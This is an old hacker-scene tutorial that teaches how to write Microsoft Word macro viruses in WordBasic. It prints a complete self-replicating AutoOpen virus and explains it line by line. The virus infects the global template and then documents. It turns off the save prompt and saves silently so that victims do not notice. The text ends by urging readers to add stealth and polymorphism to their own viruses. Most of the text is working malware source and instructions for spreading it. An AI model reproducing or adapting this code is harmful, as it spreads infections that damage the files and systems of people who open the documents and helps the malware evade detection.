+-----------------------+ Ý MS-Word Macro Viruses Ý Ý BY Ý Ý SPo0ky Ý +-----------------------+ Background: Macro viruses... they are in the media since August 1995, when the first macro virus was discovered, it was called CONCEPT (aka "The Prank Program", "Prank Macro", "WinWord.Concept", "WordMacro.Concept"). Three month later there were already 3 other macro viruses created (DMV, Nuclear, and Rainbow). Since this time the number of macro viruses increased dramatically, today there are over 1000 macro viruses (about 300 different 'families')! Macro viruses have broken the rules of virus coding, they are able to infect documents! Nobody ever thought that it could be possible to INFECT a document ... until the birth of Concept! It used the MS-Word macro language (Word-Basic) to replicate itself. In this text file i will try to teach you the basics of MS-Word-macro- virus-programming. Till now i have written 5 macro viruses, i stopped when M$-Office 97 came out. It had many changes which i didn't want to learn again! I will not go in depth because i don't like macro-viruses, see the pros and cons => Pros and cons of macro viruses: 1) [+] Macro viruses are very easy to code. I needed 2 days for my first macro virus without any prior word-basic knowledge. You don't have to know a lot about the inner working on the computer to write such a virus. Everything you have to know is how MS-Word works and a bit about the MS-Word macro language (Word Basic). 2) [+] They can run on any platform (like Win95 -> Win3.x -> Macintosh -> ...) as long as MS-Word is installed on the system! Most other viruses (DOS based viruses which infect COM, EXE and Boot Sectors) can not spread to other platforms like to the Macintosh because 1) every CPU has different instruction sets. 2) the file formats of executable files are different. But macro viruses use Word Basic, and Word Basic is the same if it is run on the PC or on the MAC! 3) [+] Documents are very much exchanged between people (maybe more often then executable files). MS-Word is used in many companies (yes, in mine too! :) and in schools! Once we had a macro virus infection at school. We had a novel network running, and win word was used by almost everyone in the school. The problem was that the NORMAL.DOT file had read/WRITE rights for everybody, so the virus infected the normal.dot which was used by the whole network! 4) [-] Word Basic is a HLL (High Level Language), which means that it doesn't give you full control over the system. On the other hand, Assembly gives you TOTAL CONTROL over the CPU, isn't this what we all want? ;-) HLL's only give you some pre-defined functions which were written by the programmer of the compiler/interpreter. 5) [-] Macro viruses need very much memory. I was not able to run my 'spooky1' virus on a 486 with 4MB ram! 6) [-] They are slow (as all HLL viruses)! Once you have written a very big virus which uses lots of macros you will notice that the whole program is getting very sloooooooow............ Ok, now we have three pros and three cons,... lets go on to the next topic :) MS-Word Macros: Before you can write a word macro program you have to know how ms-word works, how it is structured, what macros are and how they work,... A macro is a piece of code which is executed if a certain event occurs. Such an event will occur if the user is going to save a file, open a file, exits ms-word, copy text, whatever,..... everything the user does in ms-word is an event which calls a macro. Macros can be stored in 'Templates' (or .DOT files), they can also be stored in the global template (NORMAL.DOT). If a macro should only be active while the document is opened it should be stored in the file (xxxxx.dot), but if it should be available all the time while ms-word is run it should be saved in the normal.dot. You can access (list, edit, delete) all available macros at 'Tools' => 'Macro...'. You will also see a field called 'Macroname:'. This field is used to create a new macro or to edit an existing macro. The name of a macro is built as following: Lets say you want to change the macro which is executed if you save a new file... To save a new file you would click on 'Files' => 'Save As...'. So the macroname for this would be 'FilesSaveAs'! easy, eh? If you type 'FileSaveAs' in the field 'Macroname:' in the macro dialogbox you can edit the code which is executed if the user saves a new file. Now you should get the idea! Everything we have to do to infect other files is to change some macros which are called for Saving and for Opening of files! Ok, before i show you the code for a simple macro virus i will explain some very basic Word-Basic macros... Lets take a look at the original FileSaveAs macro. Open the Macro- Dialog Box ('Tools' => 'Macro...') and type 'FileSaveAs' in the 'Macroname:' field, now click on 'Create' and you will see the original source code of the FileSaveAs macro. This is what you will get: ----------------------- Sub MAIN Dim dlg As FileSaveAs GetCurValues dlg Dialog dlg FileSaveAs dlg End Sub ----------------------- => 'Sub MAIN' All macros begin with 'Sub MAIN'. 'Sub MAIN' indicates the beginning of the macro. There can also be other Sub's (and/or functions) in the same macro, but Sub MAIN is the macro which is run when the macro gets executed. => 'Dim dlg As FileSaveAs' 'dlg' is an undefined variable right now. Word-Basic uses 'Dim' to reserve memory for variables. We need the variable 'dlg' (Dialog) to access the information (like filename, path,...) from the FileSaveAs dialog. So we just reserve as much memory as FileSaveAs needs with 'dim dlg AS FileSaveAs'. => 'Dialog dlg' At this point all 'informations' of the FileSaveAs dialog are stored in the variable 'dlg'. ('informations' = X/Y position of the window, which input fields the dialog has, where they are, just how the dialog looks like,...) The 'Dialog' command will show this information as a dialog box on your screen. This dialog is the one that you get when you click on 'File' => 'Save As...'. Everything (like path, filename,...) that you change in this dialog will be changed in the variable 'dlg' too! => 'FileSaveAs dlg' After you click on 'OK' in the dialog box this part will be executed. 'FileSaveAs dlg' will take the information stored in 'dlg' and it will use this information to perform the action it is used for. It will use the path+filename to create the file, it will check if the document has to be encoded or not, etc....... => 'End Sub' This indicates the end of this sub. At this point control is given back. Now ms-word will wait for other events which will execute other macros... Now we will change this macro so that it will popup a message box when you click on File-SaveAs. Again, go to 'Tools' => 'Macro...', type in FileSaveAs and click 'Create'. You will see the original FileSaveAs source code again (same as above). Insert the line: MsgBox "Some Text" after the line "Sub MAIN". Close the window and when you are asked if you want to save the changes choose YES. Now create a new document and click on 'File' => 'SaveAs...'. You will see a message box which displays your entered text! ... to remove this again, just edit the macro, remove the inserted line 'MsgBox "Some Text"' and save the macro. Now you know the most important basics like how to edit macros, how to list them and how they work... lets go to the good stuff, The Virus => The Virus: I'll show you a very simple macro virus which uses only one macro. I will not show you a very advanced macro virus because 1st) I'm too lazy and 2nd) it would only confuse you! Once you understand this code you will get many ideas how to make your virus more advanced by yourself! Here is the virus code, it exists off one macro, AutoOpen! The macro AutoOpen is executed whenever a file is opened (you could also use FileOpen but i like this one more). ... at first the whole code, the Step-by-Step explanation is below => ------------------------------------------------------------------- Sub MAIN Dim dlg As FileSaveAs GetCurValues dlg ToolsOptionsSave .GlobalDotPrompt = 0 If checkit(0) = 0 Then MacroCopy FileName$() + ":autoopen", "global:autoopen" End If If (dlg.Format = 1) Or (dlg.Format = 0) Then If checkit(1) = 0 Then FileSaveAs .Format = 1 MacroCopy "global:autoopen", FileName$() + ":autoopen" FileSave End If End If End Sub Function checkit(check_what) checkit = 0 If CountMacros(check_what) >= 1 Then For i = 1 To CountMacros(check_what) If MacroName$(i, check_what) = "autoopen" Then checkit = 1 Next i End If End Function ------------------------------------------------------------------- Step-by-Step: Sub MAIN ---------- You know that... here is the start of our code... Dim dlg As FileSaveAs ----------------------- We will need the FileSaveAs function later, so we reserve some memory for it. GetCurValues dlg ------------------ ... and we read the current settings. ToolsOptionsSave .GlobalDotPrompt = 0 ---------------------------------------- We will infect the global template (normal.dot). Once we changed (infected) it, it will ask the user if he wants to save the changes! This could make the user suspicious, so we just switch the option which asks for confirmation to save the normal.dot OFF! Again, lets take a look at this macro name "ToolsOptionsSave"... what you'd have to do to change this manually is: clicking on TOOLS => OPTIONS => SAVE, this would popup a dialog box which has this option which you can switch ON/OFF. Sometimes it's hard to 'guess' the right name for a 'variable' like .GlobalDotPrompt! To make it easier M$-Word has a pretty good help file! Click on HELP => 'Microsoft Help' and choose 'Search', now type in the macro name like 'ToolsOptionsSave', press enter and so you will get a list of all used variables (like .GlobalDotPrompt)! If checkit(0) = 0 Then ------------------------ This is an 'IF' statement. If the part before the '=' is the part after the '=' it will execute the code after 'THEN'. 'CheckIt' is a function (look below) which will check if the File Global.dot is already infected => Infection Check. What the 0 (zero) between the '(', ')' means will be explained later in the function. Anyway, the function 'checkit' will return ZERO if the File/Global.dot is NOT infected yet! MacroCopy FileName$() + ":autoopen", "global:autoopen" -------------------------------------------------------- This is the part after the 'THEN' which will be only executed if the function 'checkit' returns zero (=> if the Global Template is not infected yet). Now we know that the global template is not infected, lets do it! To infect the global template and other .dot files (templates) we use the function 'MacroCopy'! The format of this function is: MacroCopy "FROM_FILE:MACRONAME_FROM", "TO_FILE:MACRONAME_TO"[,1] MacroCopy will copy the macro MACRONAME_FROM from FROM_FILE to MACRONAME_TO in TO_FILE. If you want to copy a macro from/to the global template you change FROM_FILE or TO_FILE to 'GLOBAL:'. If I'd copy the macro 'TEST' from the global template to the file FOOBAR.DOT I'd write: MacroCopy "global:test", "foobar.dot:test" The function FileName$() will return the the filename of the active document (our document which includes the virus). There is also an optional function, the ',1'. If you write: MacroCopy "global:test", "foobar.dot:test", 1 ... you wouldn't be able to view the source code of the macro with TOOLS => 'MACRO...' => 'Create' anymore!!! This can be used to hide your virus code from the eyes of most people, BUT there are already programs which can decrypt such macros! End If -------- End If indicates the end of the IF statement! Without this line of code MS-Word wouldn't know where the IF statement ends. Never forget it!! If (dlg.Format = 1) Or (dlg.Format = 0) Then ---------------------------------------------- Another IF statement. You see the 'OR'? 'OR' is used so that you can compare more then one variables in one IF statement! If one or both of the variables is true, the part after the THEN will be executed, if NON of both variables is true the part after the THEN will NOT be run. Anyway, here we check the current format of the opened file. Now we have to use the 'infos' from the DLG variable (which includes the settings of the FileSaveAs dialog). We can check the file format with the variable .FORMAT of the dialog FileSaveAs (DLG.FORMAT). .Format will be a number from 0 to 6: 0 = Word Document (.doc) 1 = Template (.dot file) 2, 3, 4, 5 = generally PLAIN TEXT! 6 = Rich Text Format (.rtf files) We are only interested in 0 (.doc) and 1 (.dot) files! So we check if the format is 0 OR 1. If it is not, the part after the THEN will not be executed. BUT if the format is 0 OR 1 we will infect it => If checkit(1) = 0 Then ------------------------ You remember, we already had almost the same line of code before. But at this time we use ONE instead of ZERO between the '(', ')'. <- will be explained later. Anyway, here we check if the opened file is already infected... FileSaveAs .Format = 1 ------------------------ If it is NOT infected yet we will go on here... If it is a .doc file we will have to convert it to .dot because .doc files can't store macros! To convert it we just set .FORMAT to 1 and then we call FILESAVEAS. Remember: 1 is a template and templates can store macros. MacroCopy "global:autoopen", FileName$() + ":autoopen" -------------------------------------------------------- Now we can copy the macro into the .DOT file! We copy it from GLOBAL:AUTOOPEN to FileName$():AUTOOPEN. FileSave ---------- Now everything we have to do is to save the infected file again, else the user would be asked to save the file when he tries to close the file, this could make him suspicious too, so we just do it for him. :-) End If -------- This is the END IF for the 'IF CHECKIT(1) = 0 THEN' line... End If -------- And this is the END IF for 'IF (DLG.FORMAT = 1) OR (DLG.FORMAT = 0) THEN' line... End Sub --------- This indicates the end of the whole 'SUB'... it will return control to MS-Word which will wait for other (more interesting) events. :-) Function checkit(check_what) ------------------------------ This is a function which i have written to check a file/global template if it is already infected. This function can be called from somewhere else as "CHECKIT(x)". You remember, i used it above two times... When it is called with, lets say, CHECKIT(5), the variable CHECK_WHAT will get the value 5. Later in the function this variable can be used for calculations, or whatever,... This function (CHECKIT) will return 0 or 1. If it returns 0 it means that the file is NOT infected, if it returns 1 it means that the file is already infected and that we should leave it alone. checkit = 0 ------------- At first we set it to zero, we are not sure if it is infected or not, so we put zero (not infected) into the checkit variable (or function). This will change later if the virus is found! If CountMacros(check_what) >= 1 Then -------------------------------------- This IF statement will executed the next part only if there are more then then 0 macros in the opened file/global template. CountMacros will return the number of macros which exist in the file 'CHECK_WHAT'... BUT check_what is no filename, right? It is just a number, in this virus 0 or 1. So what? => 0 means global template and 1 means the currently active template (document)! If we check the global template for previous infection we use 0 => "checkit(0)", if we check an opened file we use 1 => "checkit(1)". For i = 1 To CountMacros(check_what) -------------------------------------- FOR is a 'loop'... it repeats the commands between the 'FOR' and 'NEXT' command until I (Counter) is bigger then "CountMacros(check_what)". The counter (I) is increased by 1 every time. If you don't understand what it does, look for it in the M$-Word help file!!! Anyway, we repeat the following commands as often as many macros we have in the currently checked template (0 or 1). "I" will have the number of the current checked macro everytime. If MacroName$(i, check_what) = "autoopen" Then checkit = 1 ------------------------------------------------------------ This IF statement will check if the macro AUTOOPEN already exists in check_what (0/1 => global template/file). MacroName$(i, check_what) will return the macroname I from the file CHECK_WHAT. Because of the above FOR, "I" is increased every round. If "I" is 4 and CHECK_WHAT is 0, MacroName will return the 4th macro from the global template. got it? Then it compares the returned macroname with "AUTOOPEN", if it finds this macroname in the file which should be infected it will set CHECKIT to 1 (remember, if checkit returns 1 it means that the file is already infected)! Next i -------- 'NEXT I' indicates the end of the FOR loop, it jumps back to the 'FOR I = 1 TO COUNTMACROS(CHECK_WHAT)' line to increase "I" and to start a new round. End If -------- This is the END IF for the "IF COUNTMACROS(CHECK_WHAT) >= 1 THEN" line. End Function -------------- Indicates the end of this function. It will jump back to the SUB where it was called from. Puh, that was a lot! I hope you did understand everything! If you didn't understand certain commands then look at the MS-Word help file, it has pretty easy explanations and examples for every command! Now you should be able to write your own macro-viruses, i gave you the basics, try to impoofe your viruses with some protection: Don't allow to open the Macro-Toolbox (change the macro ToolsMacros) or make a new ToolsMacros Dialog which filters the macros of your virus out (stealth). Try to make your viruses polymorph (yes, this is possible too in macro's)... i have never used it in one of my viruses, but there are viruses which change their variable names and store the original's in the win95 registery. Ok, be creative and have FUN! ;-) --SPo0ky [spo0ky@thepentagon.com]